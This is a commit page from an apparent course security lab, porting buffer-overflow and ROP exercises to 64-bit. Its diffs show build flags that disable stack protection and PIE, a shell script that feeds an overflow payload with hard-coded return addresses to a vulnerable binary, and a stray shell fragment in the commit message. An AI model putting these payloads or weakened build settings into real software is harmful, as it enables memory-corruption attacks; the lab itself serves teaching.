Skip to content

Commit 3df015f

Browse files
committed
Port lab 12 tasks to 64-bit architecture:
* Updated C sources, exploits and build scripts to 64-bit * Normalised line endings to Unix LF * Restored executable bits on shell scripts * Fixed typo in indirect-business README * Updated rip-my-buffers-off exploit with 64-bit addresses Signed-off-by: Cristian Nastase <cristiannastase16@gmail.com>' && git reset --soft origin/main
1 parent 85dc84f commit 3df015f

File tree

47 files changed

+89
-207
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

47 files changed

+89
-207
lines changed

labs/lab-12/media/rop-anatomy.svg

Lines changed: 3 additions & 3 deletions
Loading

labs/lab-12/tasks/feeling-chained/solution/Makefile

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,17 @@
11
CC = gcc
2-
CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
3-
LDFLAGS = -no-pie -m32
2+
CFLAGS = -g -m64 -z execstack -fno-PIC -fno-stack-protector
3+
LDFLAGS = -no-pie -m64
44
SRC_DIR = .
55
TARGET = buff-ovf3
66
OBJ = buff-ovf3.o
77

88
all: $(TARGET)
99

1010
obfuscator: $(SRC_DIR)/obfuscator.c
11-
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
11+
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall
1212

1313
deobfuscator: $(SRC_DIR)/deobfuscator.c
14-
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
14+
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall
1515

1616
$(TARGET): $(OBJ)
1717
$(CC) $(LDFLAGS) $(OBJ) -o $(TARGET)

labs/lab-12/tasks/feeling-chained/solution/exploit.sh

100755100644
File mode changed.
Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,10 @@
11
#!/bin/bash
22
# SPDX-License-Identifier: BSD-3-Clause
33

4-
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x56\x93\x04\x08"
4+
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*18 + b"\x96\x11\x40\x00"
55
+ b"\x00\x93\x04\x08"
66
+ b"\x38\x00\x00\x00"
77
+ b"\x0d\x00\x00\x00")' | ../support/buff-ovf3
8+
9+
10+
run < <(python3 -c 'import sys; sys.stdout.buffer.write(b"\x00"*18 + b"\x3c\x13\x40\x00\x00\x00\x00\x00" + b"\x00"*2000)')
1.28 KB
Binary file not shown.

labs/lab-12/tasks/feeling-chained/support/exploit.sh

100755100644
File mode changed.

labs/lab-12/tasks/feeling-chained/tests/graded_test.inc.sh

100755100644
File mode changed.

labs/lab-12/tasks/feeling-chained/tests/run_all_tests.sh

100755100644
File mode changed.

labs/lab-12/tasks/feeling-chained/tests/tests.sh

100755100644
File mode changed.

labs/lab-12/tasks/hidden-in-plain-sight-1/solution/Makefile

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,16 @@
11
CC = gcc
2-
CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector
3-
LDFLAGS = -no-pie -m32
2+
CFLAGS = -g -m64 -z execstack -fno-PIC -fno-stack-protector
3+
LDFLAGS = -no-pie -m64
44
SRC_DIR = .
55
TARGET = main
66

77
all: $(TARGET)
88

99
obfuscator: $(SRC_DIR)/obfuscator.c
10-
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
10+
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall
1111

1212
deobfuscator: $(SRC_DIR)/deobfuscator.c
13-
$(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall
13+
$(CC) -o $@ $< -m64 -fno-stack-protector -z execstack -no-pie -Wall
1414

1515
link: $(SRC_DIR)/link.c
1616
$(CC) $(CFLAGS) -c -o $@ $<

0 commit comments

Comments
 (0)